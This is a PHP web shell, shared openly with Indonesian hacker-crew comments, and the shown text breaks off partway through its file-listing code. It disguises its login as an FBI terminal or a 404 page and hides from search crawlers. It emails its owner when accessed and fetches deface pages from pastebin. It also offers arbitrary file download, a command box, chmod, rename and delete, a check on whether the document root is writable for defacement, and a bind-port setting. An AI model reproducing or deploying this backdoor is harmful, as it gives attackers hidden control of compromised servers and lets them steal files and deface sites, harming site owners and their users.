shell log

<?php
//* curang banget lu kontol wkwkwkwk salam dari gw tatsumi-crew | ./Cyber00t
//* sorry w share ya anjenk shellna <3 curang itu ga baik kontol
session_start();
error_reporting(0);
$auth_pass = "c3094fafce09304e62fdc346ec795561"; // MD5 Encrypt
session_start();
error_reporting(0);
ob_start();
set_time_limit(0);
@define('VERSION', '2.1');
$color = "#3498DB";
$background_login = "https://4.bp.blogspot.com/-km-FgpyrPl4/WkWlBGaAFoI/AAAAAAAAA54/EgU3klAshoYfYcOwsvQ5jf7cDpu8CyU3ACK4BGAYYCw/s1600/as.png";
$background = "https://s-media-cache-ak0.pinimg.com/originals/68/a3/70/68a3704aa96f32671f5d692a3d8986aa.jpg";
$defaceku1  =file_get_contents("https://pastebin.com/raw/TLqn9qBK"); //
$defaceku2  =file_get_contents("https://pastebin.com/raw/fwMizddi");
$defaceku3  = file_get_contents("https://pastebin.com/raw/fwMizddi");
$fontcolor_global = "white";
$tracebackFeature 	= "on"; // set this feature to on to enable email alerts
$ownerEmail 		= "[email protected]"; // Change this to your email , This email is used to deliver tracebacks about your shell
$auth_pass = "c3094fafce09304e62fdc346ec795561"; // MD5 Encrypt

// -------------- Traceback Functions

function sendLoginAlert()
{
    global $ownerEmail;
    global $url;
    $accesedIp = $_SERVER['REMOTE_ADDR'];
    $randomInt = rand(0,1000000);           # to avoid id blocking
    $from = "[email protected]";

    //echo $from;

    if(function_exists('mail'))
    {
        $subject = "Shell Accessed -- FBI Agency --";
        $message = "
Hey Owner ,

        Your Shell(Private Shell) located at $url was accessed by $accesedIp

        If its not you :-

        1. Please check if the shell is secured.
        2. Change your user name and Password.
        3. Check if lock is 0n!

        Thanking You

Yours Faithfully
FBI Agency
        ";
        mail($ownerEmail,$subject,$message,'From:'.$from);
    }
}

//---------------------------------------------------------
if(isset($_SERVER['HTTP_USER_AGENT']) && (preg_match('/bot|spider|crawler|slurp|teoma|archive|track|snoopy|java|lwp|wget|curl|client|python|libwww/i', $_SERVER['HTTP_USER_AGENT']))){
    header("HTTP/1.0 404 Not Found");
    header("Status: 404 Not Found");
    die();
}
elseif(!isset($_SERVER['HTTP_USER_AGENT'])){
    header("HTTP/1.0 404 Not Found");
    header("Status: 404 Not Found");
    die();
}
@define('SELF_PATH', __FILE__);
if( strpos($_SERVER['HTTP_USER_AGENT'],'Google') !== false ) {
    header('HTTP/1.0 404 Not Found');
    exit;
}
if(!empty($_SERVER['HTTP_USER_AGENT'])) {
    $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
    if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
        header('HTTP/1.0 404 Not Found');
        exit;
    }
}
session_start();
function printLogin() { ?>
<style>input[type=password]{color:teal;background:black;border:1px solid teal}a{text-decoration:none;color:white;padding-left:270px}sad{font-family:'Suggested fonts',cursive;color:#3498DB;font-size:50px}</style>
<title>FBI Terminal System</title>
<link rel="icon" type="image/png" href="https://upload.wikimedia.org/wikipedia/commons/9/9f/FBISeal.png">
<body style="background-color:black;color:white">
<link href="http://fonts.googleapis.com/css?family=Fredericka+the+Great" rel="stylesheet" type="text/css">
<center>
<?php
        global $background_login;
    ?>
	<hr>
<sad>Federal Bureau of Investigation</sad>
<hr><br><br><b>
Security Protection ! <br><br>
<center><img src="https://upload.wikimedia.org/wikipedia/commons/9/9f/FBISeal.png" width="250" height="250"></center><br><br>
<b>This is a secured and monitored federal Goverment system. Unauthorized access is strictly prohibited. All activity is fully monitored.<br>
Individuals who attempt to gain<br>
Unauthorized access or attempt any modification of information on this system is subject to criminal prosecution. All persons who are hereby notified that<br>
use of this system constitues concent to monitoring and auditing.<br><br>
<a href="https://fbi.gov">Federal Bureau of Investigation &copy; 2018</a><br><br><br>
<left>Enter your authorized FBI terminal access code :<br><br>
<form action="" method="post" style=" text-align: center;">Select Agent :
      <select name="method" class="selecte">
         <option value="1">Agency</option>
         <option value="2">Special Agency</option>
		 <option value="3">Federal Agency</option>
		 <option value="4">Federal Investigator</option>
		 <option value="5">Investment Specialist</option>
      </select>
</form>
<form method=post>
<br>Access Code :
<input type=password name=pass placeholder=Input_Code>
</form>
</left>
</div>
</center>
<?php exit; }

function printLogin404(){
    header("HTTP/1.0 404 Not Found");
    header("Status: 404 Not Found");
    echo '
    <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
    <html><head>
    <title>404 Not Found</title>
    </head><body>
    <h1>Not Found</h1>
    <p>The requested URL '.$_SERVER['PHP_SELF'].' was not found on this server.</p>
    <hr>
    <address>Apache '.phpversion().' Server at '.$_SERVER['SERVER_NAME'].' Port 80</address>
        <style>input { margin:0;background-color:#fff;border:0px solid #fff; color:#fff; text-align:center;}</style>
        <form action="" method="post">
        <center><input type=password name="pass"></center>
        </body></html>
    </form>';
    exit();
}
if( !isset( $_SESSION['login']))
    if( empty( $auth_pass ) || ( isset( $_POST['pass'] ) && ( md5($_POST['pass']) == $auth_pass ) ) ){
        $_SESSION['login'] = true;
        header('Location: ?');
        exit();
    }
    else{
        printLogin();
    }



if( get_magic_quotes_gpc() ) {
    function stripslashes_array($array) {
        return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array);
    }
    $_POST = stripslashes_array($_POST);
}



if (isset($_GET["dl"]) && ($_GET["dl"] != "")) {
    $file  = $_GET["dl"];
    $filez = @file_get_contents($file);
    header("Content-type: application/octet-stream");
    header("Content-length: " . strlen($filez));
    header("Content-disposition: attachment;filename='" . basename($file) . "';");
    echo $filez;
    exit;
} elseif (isset($_GET["dlgzip"]) && ($_GET["dlgzip"] != "")) {
    $file  = $_GET['dlgzip'];
    $filez = gzencode(@file_get_contents($file));
    header("Content-Type:application/x-gzipn");
    header("Content-length: " . strlen($filez));
    header("Content-disposition: attachment;filename='" . basename($file) . ".gz';");
    echo $filez;
    exit;
}
if (isset($_GET["img"])) {
    @ob_clean();
    $d   = magicboom($_GET["y"]);
    $f   = $_GET["img"];
    $inf = @getimagesize($d . $f);
    $ext = explode($f, ".");
    $ext = $ext[count($ext) - 1];
    @header("Content-type: " . $inf["mime"]);
    @header("Cache-control: public");
    @header("Expires: " . date("r", mktime(0, 0, 0, 1, 1, 2030)));
    @header("Cache-control: max-age=" . (60 * 60 * 24 * 7));
    @readfile($d . $f);
    exit;
}
$software = getenv("SERVER_SOFTWARE");
if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on")
    $safemode = TRUE;
else
    $safemode = FALSE;
$system = @php_uname();
if (strtolower(substr($system, 0, 3)) == "win")
    $win = TRUE;
else
    $win = FALSE;
if (isset($_GET['sad'])) {
    if (@is_dir($_GET['view'])) {
        $pwd = $_GET['view'];
        @chdir($pwd);
    } else {
        $pwd = $_GET['sad'];
        @chdir($pwd);
    }
}
if (!$win) {
    if (!$user = rapih(exe("whoami")))
        $user = "";
    if (!$id = rapih(exe("id")))
        $id = "";
    $prompt = $user . " $ ";
    $pwd    = @getcwd() . DIRECTORY_SEPARATOR;
} else {
    $user   = @get_current_user();
    $id     = $user;
    $prompt = $user . " &gt;";
    $pwd    = realpath(".") . "\";
    $v      = explode("\", $d);
    $v      = $v[0];
    foreach (range("A", "Z") as $letter) {
        $bool = @is_dir($letter . ":\");
        if ($bool) {
            $letters .= "<a href='?sad=" . $letter . ":\'>[ ";
            if ($letter . ":" != $v) {
                $letters .= $letter;
            } else {
                $letters .= "<span class='gaya'>" . $letter . "</span>";
            }
            $letters .= " ]</a> ";
        }
    }
}

if (function_exists("posix_getpwuid") && function_exists("posix_getgrgid"))
    $posix = TRUE;
else
    $posix = FALSE;
$server_ip     = @gethostbyname($_SERVER["HTTP_HOST"]);
$my_ip         = $_SERVER['REMOTE_ADDR'];
$bindport      = "13123";
$bindport_pass = "Krypton";
$pwds          = explode(DIRECTORY_SEPARATOR, $pwd);
$pwdurl        = "";
for ($i = 0; $i < sizeof($pwds) - 1; $i++) {
    $pathz = "";
    for ($j = 0; $j <= $i; $j++) {
        $pathz .= $pwds[$j] . DIRECTORY_SEPARATOR;
    }
    $pwdurl .= "<a href='?sad=" . $pathz . "'>" . $pwds[$i] . " " . DIRECTORY_SEPARATOR . " </a>";
}
if (isset($_POST['rename'])) {
    $old = $_POST['oldname'];
    $new = $_POST['newname'];
    @rename($pwd . $old, $pwd . $new);
    $file = $pwd . $new;
}
if (isset($_POST['chmod'])) {
    $name  = $_POST['name'];
    $value = $_POST['newvalue'];
    if (strlen($value) == 3) {
        $value = 0 . "" . $value;
    }
    @chmod($pwd . $name, octdec($value));
    $file = $pwd . $name;
}
if (isset($_POST['chmod_folder'])) {
    $name  = $_POST['name'];
    $value = $_POST['newvalue'];
    if (strlen($value) == 3) {
        $value = 0 . "" . $value;
    }
    @chmod($pwd . $name, octdec($value));
    $file = $pwd . $name;
}
$buff = "&nbsp;" . $software . "<br>";
$buff .= "&nbsp;" . $system . "<br>";
if ($id != "")
    $buff .= "&nbsp;" . $id . "<br>";
if ($safemode)
    $buff .= "&nbsp;safemode :&nbsp;<b><font style='color:#DD4736'>ON</font></b><br>";
else
    $buff .= "&nbsp;safemode :&nbsp;<b><font style='color:#00FF00'>OFF</font></b><br>";
function showstat($stat)
{
    if ($stat == "on") {
        return "<b><font style='color:lime'>ON</font></b>";
    } else {
        return "<b><font style='color:red'>OFF</font></b>";
    }
}
function hdd($s) {
    if($s >= 1073741824)
    return sprintf('%1.2f',$s / 1073741824 ).' GB';
    elseif($s >= 1048576)
    return sprintf('%1.2f',$s / 1048576 ) .' MB';
    elseif($s >= 1024)
    return sprintf('%1.2f',$s / 1024 ) .' KB';
    else
    return $s .' B';
}
function testmysql()
{
    if (function_exists('mysql_connect')) {
        return showstat("on");
    } else {
        return showstat("off");
    }
}
function testcurl()
{
    if (function_exists('curl_version')) {
        return showstat("on");
    } else {
        return showstat("off");
    }
}
function testwget()
{
    if (exe('wget --help')) {
        return showstat("on");
    } else {
        return showstat("off");
    }
}
function testperl()
{
    if (exe('perl -h')) {
        return showstat("on");
    } else {
        return showstat("off");
    }
}
function ngindex($piye)
{
    if ($piye == "ok") {
        return "<font style='color:lime'>Writeable</font>";
    } else {
        return "<b><font style='color:red'>Not Writeable</font></b>";
    }
}
function can_deface(){
    $thisdir = $_SERVER['DOCUMENT_ROOT'];
    if (is_writable($thisdir)) {
        return '&nbsp;Writeable Root Directory:<font color="green" size="+1">'.$thisdir.' '.ngindex("ok").'<br>';
    } else {
        return ngindex("ok").'<br>';
    }
}
$show_ds = (!empty($ds)) ? "<font color=red>$ds</font>" : "<font color=lime>NONE</font>";
if(!function_exists('posix_getegid')) {
    $user = @get_current_user();
    $uid = @getmyuid();
    $gid = @getmygid();
    $group = "?";
} else {
    $uid = @posix_getpwuid(posix_geteuid());
    $gid = @posix_getgrgid(posix_getegid());
    $user = $uid['name'];
    $uid = $uid['uid'];
    $group = $gid['name'];
    $gid = $gid['gid'];
}
$buff .= "&nbsp;MySQL: " . testmysql() . "&nbsp;|&nbsp;Perl: " . testperl() . "&nbsp;|&nbsp;cURL: " . testcurl() . "&nbsp;|&nbsp;WGet: " . testwget() . "<br>";
$buff .= "&nbsp;Disk Size:<font style='color:lime'>".hdd(disk_free_space("/"))."</font>/".hdd(disk_total_space("/"))."<br>";
$buff .= can_deface();
$buff .= "&nbsp;Disable Function :$show_ds<br>";
$buff .= "&nbsp;Drives : " . $letters . "&nbsp;&gt;&nbsp;" . $pwdurl;
function rapih($text)
{
    return trim(str_replace("<br>", "", $text));
}
function magicboom($text)
{
    if (!get_magic_quotes_gpc()) {
        return $text;
    }
    return stripslashes($text);
}
function showdir($pwd, $prompt)
{
    $fname = array();
    $dname = array();
    if (function_exists("posix_getpwuid") && function_exists("posix_getgrgid"))
        $posix = TRUE;
    else
        $posix = FALSE;
    $user = "????:????";
    if ($dh = opendir($pwd)) {
        while ($file = readdir($dh)) {
            if (is_dir($file)) {
                $dname[] = $file;
            } elseif (is_file($file)) {
                $fname[] = $file;
            }
        }
        closedir($dh);
    }
    sort($fname);
    sort($dname);
    $path   = @explode(DIRECTORY_SEPARATOR, $pwd);
    $tree   = @sizeof($path);
    $parent = "";
    $buff   = " <form action='?sad=" . $pwd . "&amp;x=shell' method='post' style='margin:8px 0 0 0;'><table class='cmdbox' style='width:50%;'><tr><td>$prompt</td><td><input onMouseOver='this.focus();' id='cmd' class='inputz' type='text' name='cmd' style='width:400px;' value='' /><input class='inputzbut' type='submit' value='Start !' name='submitcmd' style='width:80px;' /></td></tr></form><form action='?' method='get' style='margin:8px 0 0 0;'><input type='hidden' name='y' value='" . $pwd . "' /><tr><td>view file/folder</td><center><td><input onMouseOver='this.focus();' id='goto' class='inputz' type='text' name='view' style='width:400px;' value='" . $pwd . "' /><input class='inputzbut' type='submit' value='view !' name='submitcmd' style='width:80px;' /></td></center></tr></form></table><table class='explore'> <tr><th>File & Dirs</th><th style='width:80px;'>Size</th><th style='width:210px;'>Owner:Group</th><th style='width:80px;'>Permission</th><th style='width:110px;'>Last Modified</th><th style='width:190px;'>Actions</th></tr> ";
    if ($tree > 2)
        for ($i = 0; $i < $tree - 2; $i++)
            $parent .= $path[$i] . DIRECTORY_SEPARATOR;
    else
        $parent = $pwd;
    foreach ($dname as $folder) {
        if ($folder == ".") {
            if (!$win && $posix) {
                $name  = @posix_getpwuid(@fileowner($folder));
                $group = @posix_getgrgid(@filegroup($folder));
                $owner = $name['name'] . "<span class='gaya'> : </span>" . $group['name'];
            } else {
                $owner = $user;
            }
            $buff .= "<tr><td><a href="?sad=" . $pwd . "">$folder</a></td><td>-</td>
<td style="text-align:center;">" . $owner . "</td>
<td><center>" . get_perms($pwd) . "</center></td>
<td style="text-align:center;">" . date("d-M-Y H:i", @filemtime($pwd)) . "</td><td><span id="titik1">
<a href="?sad=$pwd&amp;edit=" . $pwd . "newfile.php">newfile</a> | <a href="javascript:tukar('titik1','titik1_form');">newfolder</a>
</span><form action="?" method="get" id="titik1_form" class="sembunyi" style="margin:0;padding:0;">
<input type="hidden" name="y" value="" . $pwd . "" />
<input class="inputz" style="width:140px;" type="text" name="mkdir" value="a_new_folder" />
<input class="inputzbut" type="submit" name="rename" style="width:35px;" value="Go" />
</form></td></tr> ";
        } elseif ($folder == "..") {
            if (!$win && $posix) {
                $name  = @posix_getpwuid(@fileowner($folder));
                $group = @posix_getgrgid(@filegroup($folder));
                $owner = $name['name'] . "<span class="gaya"> : </span>" . $group['name'];
            } else {
                $owner = $user;
            }
            $buff .= "<tr><td>
<a href="?sad=" . $parent . ""><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAAN1gAADdYBkG95nAAAAAd0SU1FB9oJBxUAM0qLz6wAAALLSURBVDjLbVPRS1NRGP+d3btrs7kZmAYXlSZYUK4HQXCREPWUQSSYID1GEKKx/Af25lM+DCFCe4heygcNdIUEST04QW6BjS0yx5UhkW6FEtvOPfc7p4emXcofHPg453y/73e+73cADyzLOoy/bHzR8/l80LbtYD5v6wf72VzOmwLmTe7u7oZlWccbGhpGNJ92HQwtteNvSqmXJOWjM52dPPMpg/Nd5/8SpFIp9Pf3w7KsS4FA4BljrB1HQCmVc4V7O3oh+mFlZQWxWAwskUggkUhgeXk5Fg6HF5mPnWCAAhhTUGCKQUF5eb4LIa729PRknr94/kfBwMDAsXg8/tHv958FoDxP88YeJTLd2xuLAYAPAIaGhu5IKc9yzsE5Z47jYHV19UOpVNoXQsC7OOdwHNG7tLR0EwD0UCis67p2nXMOACiXK7/ev3/3ZHJy8nEymZwyDMM8qExEyjTN9vr6+oAQ4gaAef3ixVgd584pw+DY3d0tTE9Pj6TT6TfBYJCPj4/fBuA/IBBC+GZmZhZbWlrOOY5jDg8Pa3qpVEKlUoHf70cgEGgeHR2NPHgQV4ODt9Ts7KwEQACgaRpSqVdQSrFqtYpqtSpt2wYDYExMTMy3tbVdk1LWpqXebm1t3TdN86mu65FaMw+sE2KM6T9//pgaGxsb1QE4a2trr5uamq55Gn2l+WRzWgihEVH9EX5AJpOZBwANAHK5XKGjo6OvsbHRdF0XRAQpZZ2U0k9EiogYEYGIlJSS2bY9m0wmHwJQWo301/b2diESiVw2jLoQETFyXeWSy4hc5rqHJKxYLGbn5ubuFovF0qECANjf37e/bmzkjDrjdCgUamU+MCIJIgkpiZXLZZnNZhcWFhbubW5ufu7q6sLOzs7/LgPQ3tra2h+NRvvC4fApAHJvb29rfX19qVAovAawd+Rv/Ac+AMcAGLUJVAA4R138DeF+cX+xR/AGAAAAAElFTkSuQmCC'>  $folder</a></td><td>-</td>
<td style="text-align:center;">" . $owner . "</td>
<td><center>" . get_perms($parent) . "</center></td> <td style="text-align:center;">" . date("d-M-Y H:i", @filemtime($parent)) . "</td>
<td><span id="titik2"><a href="?sad=$pwd&amp;edit=" . $parent . "newfile.php">newfile</a> | <a href="javascript:tukar('titik2','titik2_form');">newfolder</a></span>
<form action="?" method="get" id="titik2_form" class="sembunyi" style="margin:0;padding:0;">
<input type="hidden" name="y" value="" . $pwd . "" />
<input class="inputz" style="width:140px;" type="text" name="mkdir" value="a_new_folder" />
<input class="inputzbut" type="submit" name="rename" style="width:35px;" value="Go" />
</form></td></tr>";
        } else {
            if (!$win && $posix) {
                $name  = @posix_getpwuid(@fileowner($folder));
                $group = @posix_getgrgid(@filegroup($folder));
                $owner = $name['name'] . "<span class="gaya"> : </span>" . $group['name'];
            } else {
                $owner = $user;
            }
            $buff .= "<tr><td><a id="" . clearspace($folder) . "_link" href="?sad=" . $pwd . $folder . DIRECTORY_SEPARATOR . ""><img src='data:image/png;base64,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' width=20px/>  "."<font style='color:red;text-shadow:none;'>[</font>"." $folder". " <font style='color:red;text-shadow:none;'>]</font></a>"."
<form action="?sad=$pwd" method="post" id="" . clearspace($folder) . "_form" class="sembunyi" style="margin:0;padding:0;">
<input type="hidden" name="oldname" value="" . $folder . "" style="margin:0;padding:0;" />
<input class="inputz" style="width:200px;" type="text" name="newname" value="" . $folder . "" />
<input class="inputzbut" type="submit" name="rename" value="rename" />
<input class="inputzbut" type="submit" name="cancel" value="cancel" onclick="tukar('" . clearspace($folder) . "_form','" . clearspace($folder) . "_link');" />
</form> </td><td>DIR</td><td style="text-align:center;">" . $owner . "</td><td><center>
<a href="javascript:tukar('" . clearspace($folder) . "_link','" . clearspace($folder) . "_form3');">" . get_perms($pwd . $folder) . "</a>
<form action="?sad=$pwd" method="post" id="" . clearspace($folder) . "_form3" class="sembunyi" style="margin:0;padding:0;">
<input type="hidden" name="name" value="" . $folder . "" style="margin:0;padding:0;" />
<input class="inputz" style="width:200px;" type="text" name="newvalue" value="" . substr(sprintf('%o', fileperms($pwd . $folder)), -4) . "" />
<input class="inputzbut" type="submit" name="chmod_folder" value="chmod" />
<input class="inputzbut" type="submit" name="cancel" value="cancel"
onclick="tukar('" . clearspace($folder) . "_link','" . clearspace($folder) . "_form3');" /></form></center></td><td style="text-align:center;">" . date("d-M-Y H:i", @filemtime($folder)) . "</td><td><a href="javascript:tukar('" . clearspace($folder) . "_link','" . clearspace($folder) . "_form');">rename</a>| <a href="?sad=$pwd&amp;fdelete=" . $pwd . $folder . "">delete</a>
</td>
</tr>";
        }
    }
    foreach ($fname as $file) {
        $full = $pwd . $file;
        if (!$win && $posix) {
            $name  = @posix_getpwuid(@fileowner($file));
            $group = @posix_getgrgid(@filegroup($file));
            $owner = $name['name'] . "<span class="gaya"> : </span>" . $group['name'];
        } else {
            $owner = $user;
        }
